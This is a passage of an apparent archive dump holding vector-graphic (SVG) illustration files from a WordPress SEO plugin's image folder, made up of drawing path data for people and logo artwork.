0-2.27-.76-2.63-1.95l-26.99-88.38h21.85c1.52 0 2.75 1.23 2.75 2.75s-1.23 2.75-2.75 2.75h-14.41l24.82 81.27a2.76 2.76 0 0 1-2.64 3.56z" fill="#6e6e6d"/><path d="M295.88 384.22c-.29 0-.59-.05-.89-.15-1.44-.49-2.21-1.05-1.72-2.49l29.14-85.48a2.756 2.756 0 0 1 2.6-1.86h23.64c1.52 0 2.75 1.23 2.75 2.75s-1.23 2.75-2.75 2.75h-21.67l-28.5 83.61c-.39 1.14-1.46.86-2.6.86z" fill="#9b9b9b"/><path d="M170.87 100.62c5.39-16.71 25.39-21.34 42.67-24.44 17.29-3.09 35.09-1.09 51.94 3.87 12.87 3.78 20.71 12.21 25.67 20.21 11.94 19.26 2.31 28.54 4.91 37.7 3.14 3.96 7.78 8.72 11.6 19.64 2.29 6.53 1.38 13.49-.27 20.21-1.65 6.72-.75 4.37-1.91 11.19-1.69 9.93-2.04 15.36-1.21 25.4.4 4.86 3.6 15.53 1.49 19.92-4.31 8.94-15.47 11.18-25.39 11.47-9.69.28-22.77-5.87-32.07-8.61-7.15-2.11-14.2-5.19-19.59-10.34-6.86-6.56-10.35-15.77-14.66-24.23-14.94-29.29-55.3-64.37-43.17-101.98z" fill="#ce806e"/><path d="M234.76 154.87c7.7 1.47 9.81-6.48 8.37-11.83-.74 3.12-21.45 2.87-26.58 2 0 0 6.74 7.65 18.2 9.83zm48.6-4.92c2.48-3.14 9.69-7.87 9.1-11.83-5.99 6.45-20.9 3-22.94 3.09 3.87 8.76 11.04 12.28 13.83 8.74zm-14.74 58.44c4.02-.18 11.75.57 14.37-2.48 3.28-3.82-.08-9.87.56-11.55-1.09 2.75-7.01-22.28-46.6-1.26 4.54 4.62 19.66 15.84 31.67 15.29z" fill="#af6351"/><path d="M230.75 133.01c6.24-.93 8.82 2.6 12.38 7.93.91 1.37.52 1.91-.04 2.77-3.97 6.06-19.07 5.34-26.13 1.95-.2-.1-.34-.29-.38-.51s.01-.45.15-.62c1.79-2.19 7.74-10.59 14.02-11.52zm60.79 6.66c.49-.52.63-1.29.35-1.95-2.53-5.99-13.26-15.99-22.15 2.68-.32.67-.18 1.47.45 1.86 8.63 5.4 18.35.6 21.35-2.6z" fill="#e6e6e6"/><path d="M229.82 136.96c-1.74-.02-4.26 1.39-5.03 3.4-.92 2.39.26 5.53 3.1 6.64 3.32 1.29 6.19-.47 7-3.09.92-2.95-.66-6.91-5.07-6.95zm48.84 7.08c-2.4.48-4.22-.96-4.98-2.88-.61-1.55-.53-3.41.5-4.81 2.96-3.87 7.04-1.79 8.46 1.21 1.17 2.48.55 5.58-3.98 6.48zm-69.3-27.97c6.77-9.16 18.95-12.26 30.34-12.38 1.79 3.31 2.44 5.42 3.11 8.83 1.3-3.48 1.59-5.16 1.64-9.69 3.6 7.81 3.23 15.09 1.2 19.51-2.02 2.06-15.08.07-19.81.56-9.74 1.02-15.72 5.98-17.57 15.97-4.38-6.04-3.2-16.99 1.09-22.8zm87.11-7.07c-.29-.89-2.49-3.69-5.81-4.61-2.94-.81-6.89-1.97-10.41-2.07-.2 2.82-1.44 6.67-3.08 9.4-.55.91 1.22-6.71 1.42-9.36-1.85.16-3.5.71-4.69 1.9-1.55 1.55-5.32 14.51-3.46 15.65 1.77 1.09 2.17-1.13 13.2-.82 3.33.09 5.77 1.5 8.65 3.19 2.87 1.69 3.56 5.79 3.23 9.1 5.19-8.46 3.39-14.94.96-22.39z" fill="#28201d"/><path d="M299.47 231.59c-2.55-5.87-6.21-10.77-10.83-16.11-.49 1.34-.6 4.72-1.09 6.01-.88-1.17-2.4-3.92-3.28-5.1-.37 1.71-1.85 4.92-2.22 6.62-1.78-1.27-1.64-3.72-3.43-4.98-.13 1.22-.41 4.79-.55 6.01-1.13-.91-3.24-3.28-4.37-4.19 2.49 4.9 2.84 17.73-3.48 17.64-5.42-.08-9.55-1.31-13.45-5.08-11.53-11.16-1.88-9.06-26.94-16.93-4.88-1.53-.18-14.8.86-16.08 11.82-14.58 34.76 11.35 64.67-10.14 10.92.55 1.33 12.44 7.65 31.13 1.92 5.69-.8 8.53-3.55 11.19zm5.19-21.57c-4.73-18.47 15.56-19.93 2.35-53.65 2.02 11.87 2.2 25.8-4.35 30.9-1.82-8.74-9.24-10.6-13.65-9.02-4.87 1.75-4.47 14.88-37.86 7.2-23.32-5.36-20.84 18.27-28.21 13.47-9.15-5.96-19.64-23.28-18.39-34.13l-6.09-.05c.59-3.48 3.13-6.56 6.43-7.8l-8.65.55c-4.57-12.87 3.44-26.92 2.15-40.52-1.62-16.94-18.28-7.37-17.32-19.25 2.3-28.26 60.1-8.11 60.43-8.03 10.19 2.55 16.38 1.46 19.3.36 8.56-3.21 10.89-36.76-33.12-37.28 28.56 7.66 14.83 19.52 10.19 16.89-10.92-6.19-39.18-10.37-54.34-1.67 6.82-.43 13.73.85 19.95 3.67-20.1 3.47-39.1 16.09-47.46 34.7-15.85 35.32 21.86 70 24.15 70.6 4.26 1.11 9.56-8.01 17.2 2.73 6.68 9.4 13.04 20.97 12.56 32.49-.38 9.3 3.06 20.47 13.23 25.11 9.01 4.11 17.93.51 25.68 6.68 25.27 20.12 37.11 14.95 52.38 9 9.06-3.53 14.2-13.3 13.47-24.23-.33-5.02-8.76-13.88-10.01-18.75z" fill="#28201d"/><path d="M270.09 184.79c3.83.63 15.86 4.34 21.08 1.41 4.58-2.57 2.07-10.53-.87-15.36-10.1-16.61-23.93-17.48-27.24-28.89-4.99-17.19.27-10.12-7.93 16.5-1.9 6.18-7.96 15.09-3.58 21.3 3.84 5.44 12.61 4.06 18.55 5.04z" fill="#ce806e"/><path d="M295.78 175.76c3.15 9.86-1.43 17.55-14.43 13.52-10.56-3.28-18.2-4.38-22.03-3.29-11.74 3.35-10.42-12.28-1.86-15.61 2.73-1.06 6.14-.49 8.04 1.74-10.73-4.69-13.94 13.73-8.36 11.42 7.92-3.28 16.2.11 29.41 2.39 5.04 0 5.92-4.36 4.31-9.07-7.35-21.6-38.8-37.21-23.75-52.15-12.68 18.12 22.19 30.79 28.67 51.06z" fill="#af6351"/><path d="M187.79 202.38c11.89 2.33 10.24 7.79 15.29 6.01 18.57-6.55-13.39-38.75-9.28-33.86-10.47-12.48-26.9-3.88-25.94 7.62.37 4.43 4.96 17.3 19.93 20.23z" fill="#ce806e"/><path d="M195.53 189.82c-.66-.35-1.58 2.9-2.28 3.19-5.46 2.23-7.41-6.25-5.72-8.72.85-1.24 3.67-4.77 2.54-5.75-2.79-2.1-9.96-1.15-12.38 1.37s-1.27 9.74 3.55 15.29c-5.53-1.88-14.11-14.8-3.82-21.21 5.97-3.72 16.26 2.85 16.15 5.99-.07 2.07-2.99 3.38-2.5 5.39.64 2.64 2.88 2.48 3.91 2.73 5.4 1.32 4.4 7.08 1.43 9.29 1.62-3.23.36-6.91-.88-7.56z" fill="#af6351"/><path d="M114.79 328.06c-10.6 12.99-19.77 28.49-19.35 45.24.23 8.97 1.55 17.71 1.57 26.68.03 14.1-7.21 25.67-8.15 39.74-.09 1.34 1.57 4.47 2.42 5.51.64.78 1.62 1.17 2.57 1.52 14.15 5.24 28.62 9.62 43.31 13.09 1.45.34 2.99.68 4.42.22 2.04-.65 10.46-2.44 10.97-4.52 7.39-29.81 30.85-30.71 40.24-52.34 3.26-7.51 4.33-15.82 4.43-24.01.35-27.18-9.95-54.35-28.22-74.47-10.05-11.07-16.27-12.65-27.36-3.52-9.8 8.07-18.83 17.03-26.86 26.87z" fill="#e6e6e6"/><g fill="#a4b6c1"><path d="M151.97 435.3c-.07-.1-.14-.18-.22-.29-13.35-19.22-34.4-7.65-50.1-62.59-.14 13.99-1.77 30.37 17.34 64.78-13.47-7.86-19.32-20.57-21.3-36.04-.3 2.28-.8 4.6-1.41 6.94-1.53 8.8-5.06 16.94-6.67 25.85.37 2.26.84 4.51.44 4.89 18.53 14.04 42.36 10.39 65.52 7.82.07-.15.13-.31.2-.47l-4.56-6.99c.26-1.22.52-2.54.76-3.9z"/><path d="M161.57 373.4c-3.71-7.95-9.26-14.91-13.27-22.71-4.02-7.8-6.44-17.11-3.36-25.33-8.4 7.21-8.36 20.23-5.78 31 3.02 12.59 8.51 24.44 12.61 36.72 3.71 11.1 2.49 29.44.2 42.22-.24 1.36-.5 2.68-.76 3.9l4.56 6.99c.8-1.78 1.68-3.43 2.61-4.97.09-9.24 2.91-18.38 5.83-27.61 4.15-13.11 3.19-27.76-2.63-40.21z"/></g><path d="M77.02 467.72c.32 1.48.71 2.98 1.6 4.2 1.05 1.45 2.68 2.35 4.27 3.18 20.37 10.6 43.32 16.21 66.29 16.2 2.43 0 5.07-.14 6.92-1.72 1.41-1.2 2.09-3.02 2.68-4.77 3.12-9.3 5.12-18.98 5.93-28.76.36-4.36-2.72-15.65-6.94-14.49-.91 4.58-2.37 7.13-8.19 6.55-20.21-2-45.33-8.37-56.25-18.57-.09.89-2.73-6.55-1.09-10.38-14.69-2.34-17.14 39.7-15.21 48.54z" fill="#e6e6e6"/><path d="M348.14 315.84c.25 4.67 8.73 5.98 11.87 6.71 3.14.73 6.42.85 9.48 1.84 2.52.81 4.84 3.85 6.75 5.67 1.54 1.47 2.91 3.29 4.92 4.01 3.2 1.14 6.91-1.25 7.95-4.49 1.05-3.23-.1-6.85-2.15-9.56-2.05-2.71-4.89-4.69-7.68-6.62-1.62.68-16.4-23.94-18.12-24.28-10.59-2.1-13.83 11.5-13.02 26.72z" fill="#af6351"/><path d="M487.05 292.21c-10.52-2.32-22.94-4.73-33.31-7.65-8.25-2.32-3.43-5.79-17.75-7.65-5.11-.66-17.91-8.27-22.8-9.28-2.28-.47-5.73-5.05-12.01-3-4.23 1.38-6.97-3.83-10.65-4.37-3.93-.57-5.32 2-7.76 1.8-2.06-.16-6.19-5.62-11.48-5.9-3.9-.21-4.12 4.89-5.6 5.05-1.79.2-4.05-3.15-8.74-2.05-2.48.58-4.34 3.93-5.6 6.14-6.75 11.91-9.33 13.21-13.6 20.05-1.97 3.15 1.93 10.1 3.22 13.59 3.15 8.55 4.47 14.2 13.84 11.26.77 6.02 4.35 7.55 9.1 8.21 5.65.78 7.28-1.26 8.46-5.87-1.12 3.49 1.04 7.97 4.91 8.46 5.74.74 13.48-.94 14.61-5.32 1.77 1.37 9.01 3.55 10.51 3.14 2-.54 3.87-3.23 10.36-5.89 5.46-2.23-.14-7.99.98-11.48 12.79-.14 22.36 22.82 30.18 32.95 8.73 11.31 21.05 18.41 35.33 18.78 7.25.19 14.75-3.53 20.74-6.16v-50.49c-3.61-1.78-7.88-3.22-12.95-4.34z" fill="#ce806e"/><path d="M498.36 345.75c-47.9 18.45-56.93-54.33-84.61-44.42.02 1.67 3.64-2.62 12.88 7.78 11.2 12.85 13.36 25.55 28.56 36.29 20.36 13.97 34.37 6.4 44.81 1.8v-1.99c-.52.17-1.06.34-1.64.54zm-77.66-59.77c-.27 3.09.41 6.37-3.82 9.37-.97.69-2.99.08-3.82-.96-.88-1.09 2.34-.9 3.1-1.6 1.74-1.6 4.33-4.29 4.55-6.82zm-16.07-10.33c-3.72.31-7.27 1.13-8.63 1.95-3.35 2.01-13.48 36-3.79 38.19.11-.15-7.95-3.24 4.34-35.46 1.05-2.76 3.69-3.55 8.09-4.68zm-25.98 2.09c2.84-5.93 6.28-5.87 8.33-6.28 1.37-.27-4.8.42-7.06 2.39-8.1 7.03-8.47 33.84-8.37 40.34 1.77-11.33 2.69-27.22 7.1-36.45zm-23.75 16.24c.23-1.64-.52-1.18-3.41-2.87.77-.73 2.5-1.34 3.43-1.84.75-.41 8.72-16.45 1.53-21.9 2.14.81 5.43 2.04 6.66 6-3.78 11.45-7.3 24.35-8.62 36.31-1.16-5.09-.24-11.01.41-15.7z" fill="#af6351"/><path d="M414.56 293.85c0-3.96-1.5-5.73-4.64-8.74 6.01 7.65-4.64 25.8-8.46 29.35 3.14-2.18 6.95-3.36 7.65-8.33 4.91 3-.68 9.01-3.96 10.79 15.29-5.32 8.46-7.78 9.56-10.92 14.74 6.01 24.3-5.6 25.67-10.79-7.65 5.73-22.64-.29-25.8-1.37z" fill="#af6351"/><path d="M464.88 385.22c-1.11 0-2.17-.68-2.58-1.79l-31.22-83.69h-15.11c-1.52 0 1.46-1.1 1.46-2.62s-2.98-2.89-1.46-2.89h17.02c1.15 0 2.18.71 2.58 1.79l31.89 85.48a2.75 2.75 0 0 1-2.58 3.71z" fill="#6e6e6d"/><path d="M398.83 384.57c-.29 0-.59-.05-.88-.14a2.763 2.763 0 0 1-1.73-3.49l27.43-81.2-11-.02c.97-1.12 1.6-3.12 1.77-5.6l13.06.11c.89 0 1.72.43 2.24 1.15.52.72.66 1.65.37 2.48l-28.65 84.83a2.753 2.753 0 0 1-2.61 1.87z" fill="#9b9b9b"/><path d="M499.06 493.73h-14.74v-17.28H500v-3.12h-15.68v-20H500v-3.12h-15.68v-20H500v-3.12h-15.68v-20l15.68-.22v-2.65h-15.68v-19.05H500v-6.36H232.15l28.84 121.17h239.02v-11.34l-.94 5.1zm-203.19-66.65l-3.66-20h18.67l3.66 20h-18.67zm19.24 3.12l3.66 20H300.1l-3.66-20h18.67zm-22.41-3.12h-21.79l-3.66-20h21.79l3.66 20zm.57 3.12l3.66 20h-21.79l-3.66-20h21.79zm4.23 23.12l3.66 20h-21.79l-3.66-20h21.79zm3.17 0h18.67l3.66 20h-18.67l-3.66-20zm21.84 0h18.67l3.66 20h-18.67l-3.66-20zm-.57-3.12l-3.66-20h18.67l3.66 20h-18.67zm-4.23-23.12l-3.66-20h18.67l3.66 20h-18.67zm10.96-42.12l3.47 18.99h-18.67L310 384.96h18.67zm-21.84 0l3.47 18.99h-18.67l-3.47-18.99h18.67zm-21.84 0l3.47 18.99h-21.79l-3.47-18.99h21.79zm-44.95 0h19.99l3.47 18.99h-18.95l-4.52-18.99zm5.26 22.11h18.78l3.66 20h-17.68l-4.76-20zm5.5 23.12h17.51l3.66 20h-16.41l-4.76-20zm5.5 23.12h16.24l3.66 20h-15.14l-4.76-20zm9.61 40.41l-4.11-17.28h14.97l3.16 17.28h-14.02zm17.19 0l-3.16-17.28h21.79l3.16 17.28H283.1zm40.47-17.28l3.16 17.28h-18.67l-3.16-17.28m25 17.28l-3.16-17.28h18.67l3.16 17.28H329.9zm25.76 0h-2.27l-3.16-17.28h5.43v17.28zm0-20.4h-6l-3.66-20h9.66v20zm0-23.12h-10.23l-3.66-20h13.89v20zm0-23.12H341.2l-3.66-20h18.12v20zm0-23.12h-18.69l-3.47-18.99h22.16v18.99zm20.92 89.77h-17.8v-17.28h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-18.99h17.8v18.99zm20.92 89.77h-17.8v-17.28h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-18.99h17.8v18.99zm20.92 89.77h-17.8v-17.28h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8V385h17.8v18.99zm20.92 89.77h-17.8v-17.28h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-18.99h17.8V404zm20.92 89.77h-17.8v-17.28h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-18.99h17.8v18.99zm20.92 89.77h-17.8V476.5h17.8v17.28zm0-20.4h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-20h17.8v20zm0-23.12h-17.8v-18.99h17.8v18.99z" fill="#6c2548"/><circle cx="225.47" cy="139.94" r="2.18" fill="#fff"/><circle cx="274.62" cy="137.39" r="1.82" fill="#fff"/><path d="M486.43 290.71l-.99-.47.59.92c2.57 4 5.73 8.92 6.03 14.25-5.3-7.84-12.95-14.15-21.67-17.83l-.99-.42.61.88c2 2.91 3.48 6.23 4.32 9.68a44.65 44.65 0 0 0-15.99-12.62l-1.32-.62.96 1.11c1.6 1.85 2.51 4.23 2.59 6.66a29.796 29.796 0 0 0-7.55-8.46l-.38.5c3.25 2.47 5.99 5.67 7.94 9.25l.51.94.08-1.06c.19-2.53-.5-5.08-1.91-7.17a44.12 44.12 0 0 1 15.43 12.96l.82 1.1-.26-1.34a30.25 30.25 0 0 0-4.13-10.38c8.53 3.83 15.96 10.21 21.01 18.07l.56.87.02-1.03c.1-5.5-2.88-10.55-5.54-14.72 4.87 2.48 9.26 5.98 12.83 10.15v-.94c-3.79-4.28-8.44-7.83-13.57-10.26z" fill="#28201d"/></svg>wordpress-seo/images/support-team.svg000064400000014424147510273100014013 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 480" focusable="false"><path fill="none" d="M0 0h600v480H0z"/><circle cx="300" cy="269.8" r="191" fill="#f0ecf0"/><path fill="#8e6535" d="M181.42 344.43l-33.34-44.01s-4.81 4.43-11.85 10.94c4.98 18.99 12.7 36.47 21.44 53.57 13.42-11.3 23.75-20.51 23.75-20.51z"/><path fill="#6c2548" d="M414.61 394.73c26.27-14.16 39.63-32.67 51.13-48.01 0 0-34.59-93.41-75.32-121.55-130.87-88.27-235.18 71.67-248.82 80.03l38.6 58.37 22.55-20.48-8.36 85.87c30.25 20.11 66.55 31.84 105.6 31.84 36.19 0 70.03-10.07 98.87-27.55l2.41-54.84 13.34 16.32z"/><path fill="#b28e5c" d="M136.23 311.36c-17.59 16.27-49.17 45.61-54.83 51.74-7.92 8.59-11.36 51.93 20 42.68 10-2.97 36.49-24.18 56.27-40.84-8.74-17.1-16.46-34.58-21.44-53.57zm243.39-191.99s8.99-19.59 17.42-10.55c8.43 9.04 6.28 21.49.57 28.82-5.71 7.33-8.69 19.81-16.77 18.82-4.91-.84-3.58-3.83-4.82-8.65l3.6-28.45zm-97.43 88.42c-13.62 7.6-18.73 15.22-18.73 22.39 0 21.55 6.83 32.98 46.2 38.96 39.37 5.98 61.34-17.75 61.34-33.61 0-18.47-23.02-37.6-52.47-37.6-11.46 0-23.91 2.9-36.34 9.86z"/><path fill="#b28e5c" d="M350.5 199.78l-2.88 40.84-61-4.29 3.63-37.49c20.36 10.51 40.11 10.54 60.25.94z"/><path fill="#8e6535" d="M287.41 153.55l.1 52.81c9.17 25.78 47.12 24.58 63.07 2.82l2.25-57.98-65.43 2.34z"/><path fill="#b28e5c" d="M267.73 75.77l.35 60.85s-1.38 37.09 22.9 57.96c15.56 13.38 33.2 22.97 58.48 2.82 27.12-21.62 33.81-52.74 33.81-52.74s4.73-51.12 5.19-56.91C395.39.4 270.39 7.82 267.74 75.78z"/><path fill="#b28e5c" d="M270.4 116.83s.63-17.58-11.29-20.57c-11.91-2.99-10.63 17.88-10.63 17.88s-2.27 6.2 4.53 13.16c6.8 6.96 3.79 18.36 13.47 20.91s9.39-6.15 9.39-6.15l-5.48-25.23z"/><path fill="#fff" d="M299.5 98.68c-8.5.03-16.8 4.2-13.52 10.51.56 1.09 11.7 9.15 19.22 3.03 6.33-5.16.99-13.56-5.7-13.54zm66.14 10.46c2.54 5.12-9.04 7.97-11.72 7.89-5.35-.17-10.64-.88-10.15-7.51.74-13.02 17.56-9.1 21.87-.38z"/><path fill="#8e6535" d="M330 90.09c-.11 18.13 5.99 26.83 4.27 50.11-4.27 3.9-14.97 4.36-20.7 2.93 4.77 4.97 12.02 5.37 18.6 4.97 2.2.16 8.14-2.23 7.62-6.59 3.98-24.57-9.8-51.43-9.8-51.43z"/><path fill="#1a1a1a" d="M316.19 88.78c3.07-2.73-2.19 6.05-4 6.33-5.69.97 7.52-2.16-33.48-1.87 7.82-9.11 29.47-13.17 37.48-4.46zm48.43-7.75c3.27 2.44 10.84 13.45 10.2 17.37-.27-.19-23.66-17.15-29.87-16.76-3.29 0-2.82-7.06.47-7.53 6.73-1.01 13.95 2.59 19.2 6.92z"/><circle cx="297.84" cy="106.46" r="5.79" transform="rotate(-83 297.855 106.46)"/><circle cx="354.2" cy="109.05" r="5.79" transform="rotate(-83 354.212 109.047)"/><path fill="#f2f2f2" d="M137.07 451.46c26.03 2.44 52.24-2.02 76.01-12.93 74.74-34.31 107.52-122.71 73.21-197.46-34.31-74.74-122.71-107.52-197.46-73.21C14.08 202.18-18.7 290.58 15.61 365.32c22.18 48.36 68.48 81.2 121.45 86.14zm-53.8-117.19a74.396 74.396 0 0 1-6.45-37.92c3.81-40.92 40.07-71 81-67.19 40.92 3.81 71 40.07 67.19 81-3.81 40.92-40.07 71-81 67.19a74.438 74.438 0 0 1-60.74-43.07z"/><path fill="#f90321" d="M90.22 260.13a74.697 74.697 0 0 0-6.95 74.15l-67.66 31.05c-22.18-48.36-16.89-104.88 13.9-148.27l60.71 43.07zm53.99 117.17a74.374 74.374 0 0 0 67.27-30.74l60.55 43.34c-30.75 42.96-81.96 66.4-134.57 61.62l6.74-74.21zm74.92-103.86l-.53-1.21a74.68 74.68 0 0 0-60.72-43.15l6.94-74.12c52.96 4.96 99.26 37.79 121.45 86.14l1.09 2.43-68.23 29.91z"/><path fill="#b28e5c" d="M471.75 376.31c-7.25-23.56-43.49-18.38-56.33 2.19 0 1.21 0 2.58-.05 3.73-2.21-.96-4.33-1.8-6.39-2.56-1.42.26-2.83.52-4.21.77 1.38-.25 2.79-.51 4.21-.77-21.74-8-36.15-6-73.31-24.57-6.21-3.12-15.04-50.49-23.04-63.7-10.32-16.96-18.83-19.14-26.04-21.02-8.8-2.33-15.11-1.61-25.42.63-7.22 1.57-1.23 8.95 6.59 9.73 12 1.17 18.7 3.6 26.71 12.83-19.49-1.22-34.57-1.67-46.32 10.08-5.65 5.65 1.1 10.83 5.33 8.32 10.67-7.06 23.38-8.63 39.69-5.49-16.32.31-25.99 1.25-37.5 8.94-7.22 6.9-1.73 14.43 3.45 10.67 9.57-7.97 26.99-6.9 32.01-3.45-16.79-1.73-19.93 2.04-27.77 9.26-3.14 3.45-.38 9.79 4.08 6.9 5.33-3.45 20.08-10.36 29.29 6.18.72 2.56 2.67 18.46 24.27 33.15 27.63 18.75 23.95 32.53 101.35 59.35 25.87 8.96 47.64-.08 50.68-18.35 2.14-12.85 3.55-24.95-1.28-42.8z"/><path fill="#8e6535" d="M471.75 376.31c-2.04-7.52-5.16-16.05-9.84-26.12-7.73-16.62-36.43 9.79-46.54 25.39 0 0 .04 1.31.05 2.91 27.9-13.98 40.14-11.63 56.33-2.19z"/><path fill="#b28e5c" d="M24.11 390.15c-3.12 2.16-5.17 2.27-7.84-1.95-1.73-2.61-4.43-6.88-2.83-9.79 2.48-4.53 18.06-8.99 23.58-10.91 3.28 1.2 6.16 3.6 5.49 7.25-.67 3.65-3.31 4.88-18.4 15.39z"/><path fill="#b28e5c" d="M39.95 379.91c-.64-2.32 2.32-4.45 4.69-4.08a12.19 12.19 0 0 1 7.12 6.53 6.24 6.24 0 0 1-1.07 4.19c-3.92 7.28-14.56 21.36-21.76 17.95-1.97-.99-3.01-2.77-7.31-9.2-1.07-1.6-1.07-2.51.91-4.08l18.67-14.67"/><path fill="#b28e5c" d="M33.33 409.46c.37-3.2 3.04-5.6 5.71-7.63 3.07-2.37 6.32-7.47 10.08-8 3.76-.53 5.47 4.48 5.47 8.27.32 2.97-.74 5.92-2.88 8-14.72 14.56-18.35 4.11-18.38-.64z"/><path fill="#b28e5c" d="M64.46 417.59c-2.37 6.69-9.82 10.08-12.48 9.12-4.67-1.9-7.02-7.14-5.33-11.9 5.07-4.67 6.99-5.87 11.63-6.29a7.403 7.403 0 0 1 6.85 4.35c.25 1.6.02 3.25-.67 4.72z"/><circle cx="296.82" cy="105.56" r="2.32" fill="#fff"/><circle cx="353.43" cy="107.81" r="2.32" fill="#fff" transform="rotate(-83 353.441 107.801)"/><path d="M344.44 104.47s11.2-9.37 21.19 4.67c-11.33-20.85-21.19-4.67-21.19-4.67zm-59.26.73s12.56-14.74 22.49-.84c-6.15-21.5-22.49.84-22.49.84z"/><path fill="#1a1a1a" d="M415.25 62.58c-20.33-4.39-15.02-32.19-33.26-45.81-8.77-6.55-35.8-6.91-50.78-.1 2.48-4.98 2.22-10.48 8.79-13.86-24.81-10.54-32.44 87.43 24.59 63.04-10.89 2.52-30.35-7.88-35.8-18.87 11.55 7.22 32.79-.09 42.05 12.55 9.19 12.53 12.95 28.88 11.09 47.83-.09-.14-.18-.25-.27-.4.37 17.53-13.74 26.28.37 33.01-2.08-5.05-2.36-13.85 3.32-9.88-3.55-7.66 2.55-11.07 2.7-21.57 0-.48-.16-.56-.44-.47 7.96-14.98 15-35.63 5.93-46.22 2.77 2.72 11.34 8.03 21.72.77z"/><path fill="#1a1a1a" d="M269.63 22.8c7-11.67 36.07-14.08 42.32-2.25-57.94-14.78-49.53 41.28-67.52 45.75 4.92 2.98 9.19 2.41 12.96-.17.39 9.29-2.41 19.83-9.84 20.47 4.86 1.61 8.77.34 11.75-2.54-.98 12.2 1.86 16.24 5.14 18.81.2 2.1.18 4.64-1 9.33 1.28 1.42 2.84-.57 2.98-.28 1.44 2.87.99 6.24-2.55 11.64.96.75 3.12.71 4.54-1.28 1.7 2.55.14 6.81-.99 9.22 14 5.37-14.04-60.64 32.93-78.82 59.38-22.98-3.11-81.51-30.72-29.86z"/><path fill="#fff" d="M341.6 167.68c.56-.58.72-1.44.4-2.19s-1.05-1.22-1.86-1.22c-11.41.09-30.69-3.28-42.09-8.56-.52-.24-1.13-.15-1.56.23s-.59.98-.41 1.52c10.05 30.55 29.81 26.43 45.51 10.21z"/></svg>wordpress-seo/images/plugin_subscription.svg000064400000003240147510273100015447 0ustar00<svg xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" viewBox="0 0 500 500" focusable="false"><path fill="#a4286a" d="M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"/><path fill="#6c2548" d="M500 80a80 80 0 0 0-80-80h-6L137.7 500H500z"/><circle cx="306.18" cy="195" r="61.07" fill="#9fda4f" transform="rotate(-45 306.171 195)"/><path fill="#77b227" d="M335.89 141.64l-59.42 106.72a61.07 61.07 0 0 0 59.42-106.72z"/><path fill="#fec228" d="M262.19 275.37l-.1-.05h-.08a39.9 39.9 0 1 0-38.64 69.83 39.9 39.9 0 0 0 38.73-69.77z"/><path fill="#f49a00" d="M262 275.27l-38.62 69.83A39.9 39.9 0 1 0 262 275.27z"/><path fill="#ff4e47" d="M210.31 368.73a24 24 0 1 0 9.07 32.63 23.95 23.95 0 0 0-9.1-32.65z"/><path fill="#ed261f" d="M210.28 368.71l-23.56 41.71a24 24 0 0 0 23.56-41.71z"/><path fill="#fff" d="M111.1 338.68v23c14.22-.59 25.35-5.26 34.77-14.81s18-25 26.27-48l61-163.31h-29.5L154.49 272l-24.36-76.52h-27L139 287.52a37.78 37.78 0 0 1 0 27.48c-3.67 9.39-10.19 20.39-27.9 23.68z"/><path fill="#9fda4f" d="M376.16 124.4A185.67 185.67 0 0 1 438 250.21c7.14 102.79-71.33 192.32-175 199.57S69.2 379.29 62 276.5 133.33 84.17 237 76.93l6-.42-3-41.66-6 .42a229.78 229.78 0 0 0-157.79 78.15A227.41 227.41 0 0 0 98.77 436a231.68 231.68 0 0 0 325-22.73A227.39 227.39 0 0 0 408.1 96.85c-7.1-6.64-36.83 23.15-31.94 27.55z"/><path fill="#9fda4f" d="M226.09 6l2.63 99.18 109.86-52.49L226.09 6z"/><path fill="#77b227" d="M309.16 484.21a229.83 229.83 0 0 0 140-106.83 227.39 227.39 0 0 0-74.24-306.67l-20.31 36.76A185.51 185.51 0 0 1 432 214.59c26.64 99.54-33.3 202.41-133.65 229.28a188.47 188.47 0 0 1-124.5-9.29l-20.37 36.86a229.72 229.72 0 0 0 155.68 12.77z"/></svg>wordpress-seo/images/local_plugin_assistant.svg000064400000034261147510273100016115 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" focusable="false"><path fill="#007973" d="M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"/><path fill="#fff" d="M420 0H80A80 80 0 0 0 0 80v340a80 80 0 0 0 80 80h75.9L437.6 2" opacity=".1"/><path fill="#fff" d="M46.1 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L112 236 75 119.8H34l54.4 139.8a57.5 57.5 0 0 1 0 41.8 52.3 52.3 0 0 1-42.3 35.9z" opacity=".3"/><path fill="#534741" d="M372.1 128.3c-9.9-28.3-45-52.7-75-50.5l-8.5-1c-28.7 14.3-25.5 45-34.1 75.9-8.5 30.2-22.7 62.9-10.7 91.9 9.7 23.7 51 28.4 82.4 28.7 4.4-36.4 3.4-15.5 1.6 0 4.5 0 8.8 0 12.7-.2 0 0-10.1-50 1.6 0 8.4-.3 15.2-.8 18.8-1-20.7-64.6 40.8-59.2 11.2-143.8z"/><path fill="#263452" d="M348.9 313.5c9.9 11.9.6 38.2 17.5 40.8 19 3 35.2-24 54.5-24.4a38 38 0 0 1 28.7 12.5c6.5 7.1-1.2 8.2-5.7 16.8-38.7 73-76.2 89.8-119.3 66.2-36.9-94-54.5-65.9-82.5-112.9.5-15.4-5.2-57.4-12.2-71.2 26 30.7 98.6 47.9 119 72.2z"/><path fill="#dda680" d="M213.9 236.3c7.4-10.3 19.2-64.2 